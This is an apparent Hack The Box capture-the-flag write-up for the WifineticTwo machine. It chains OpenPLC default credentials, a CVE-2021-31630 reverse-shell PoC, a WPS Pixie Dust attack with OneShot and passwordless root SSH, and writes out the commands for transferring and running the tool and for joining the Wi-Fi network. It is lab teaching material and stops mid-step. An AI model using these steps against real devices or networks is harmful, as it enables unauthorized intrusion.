Hack The Box WifineticTwo Writeup (Medium Linux)

Summary

WifineticTwo is a Medium Linux machine running an OpenPLC instance on port 8080 that still uses the default openplc:openplc credentials. Logged in, OpenPLC is vulnerable to the command injection CVE-2021-31630, and a public PoC returns a reverse shell on the host. Enumeration finds a wlan interface and a nearby WPS enabled access point with SSID plcrouter; a WPS pixie dust attack with OneShot recovers its WPA passphrase. wpa_supplicant then joins plcrouter, a ping sweep of the new network finds the default gateway at 192.168.1.1, and SSH to that gateway logs in as root without a password.

Initial Target - 10.10.11.7

Service Enumeration

IP Address	TCP Ports Open
10.10.11.7	22 (OpenSSH 8.2p1), 8080 (Werkzeug/1.0.1 Python 2.7.18)

BS01: Default Credentials

Explanation: OpenPLC instance running on port 8080 is using default credentials (openplc:openplc).

Severity: Elevated

Recommendation: (recommendation)

Steps to Reproduce:

1. Simply head to http://10.10.11.7:8080/login and use the default credentials openplc:openplc to log in.

BS02: Remote Code Execution via CVE-2021-31630

Explanation: The OpenPLC instance on port 8080 is vulnerable to Command Injection, as described in CVE-2021-31630, which allows for a remote attacker to execute arbitrary system commands in the target machine.

Severity: High

Recommendation: (recommendation)

Steps to Reproduce:1

1. Execute this PoC in order to obtain a reverse shell connection to the target machine.

BS03: WPS Pixie Dust Attack

Explanation: A wlan interface has been found in the target machine. Further enumeration disclosed an available Wi-Fi Access Point with SSID “plcrouter”. This AP is vulnerable to WPS Pixie Dust Attack.

WPS was designed to make it easier for devices to connect to Wi-Fi networks without needing to enter complex passwords, aiming to simplify the setup process for users. However, this feature also introduced security vulnerabilities, one of the most notable being the “Pixie Dust” attack.

When a device tries to connect to a Wi-Fi network using WPS, it and the router engage in an exchange of information that involves several steps. This exchange is supposed to securely confirm that both parties have the correct PIN. However, the encryption used in part of this exchange was found to be vulnerable to a brute force attack.

The flaw lies in how the WPS protocol splits the 8-digit PIN into two halves and processes each separately, with the last digit being a checksum. This significantly reduces the number of attempts needed to guess the correct PIN. Attackers can use the Pixie Dust attack to retrieve the PIN by exploiting vulnerabilities in the way some routers implement the Diffie-Hellman key exchange during the WPS setup process. Specifically, it targets the generation of public keys and nonces (numbers used once) that are too weak or predictable.

Severity: Elevated

Recommendation: (recommendation)

Steps to Reproduce:

1. Enumerate the wlan interface by issuing the command iwlist wlan0 scan.

2. Write down the “Address” value on top. In this case, 02:00:00:00:01:00.

3. Download OneShot-C.

4. Compress OneShot-C folder: tar -cf oneshot.tar OneShot-C/*

5. Fire up a simple python web server: python3 -m http.server 80

6. On the target machine, download the newly created oneshot.tar: curl http://YOUR-TUN0-IP-ADDRESS/oneshot.tar -o oneshot.tar

7. Use tar to extract the file: tar -xf oneshot.tar

8. Enter the folder: cd OneShot-C

9. Install the tool make

10. Grant execution permissions: chmod +x oneshot

11. Keep in mind to change the address value depending on your environment. Refer to the item 2 on this list. Execute oneshot: ./oneshot -i wlan0 -K -b 02:00:00:00:01:00

BS04: Root Privilege Escalation

Explanation: After executing BS03, it is possible to use “wpa_supplicant” to connect to the Wi-Fi network under the SSID “plcrouter”. After joining this new network, it is possible to run a ping sweep attack and discover live hosts. One live host is the default gateway at 192.168.1.1, and it is possible for us to log in as root via SSH to this host without providing any password.

Severity: Extreme

Recommendation: (recommendation)

Steps to Reproduce:

1. Generate the config file for wpa_supplicant: wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123' > config

2. Use wpa_supplicant to connect to the wifi network: wpa_supplicant -B -c config -i wlan0

3. Assign an IP address to the wlan0 network interface: ifconfig wlan0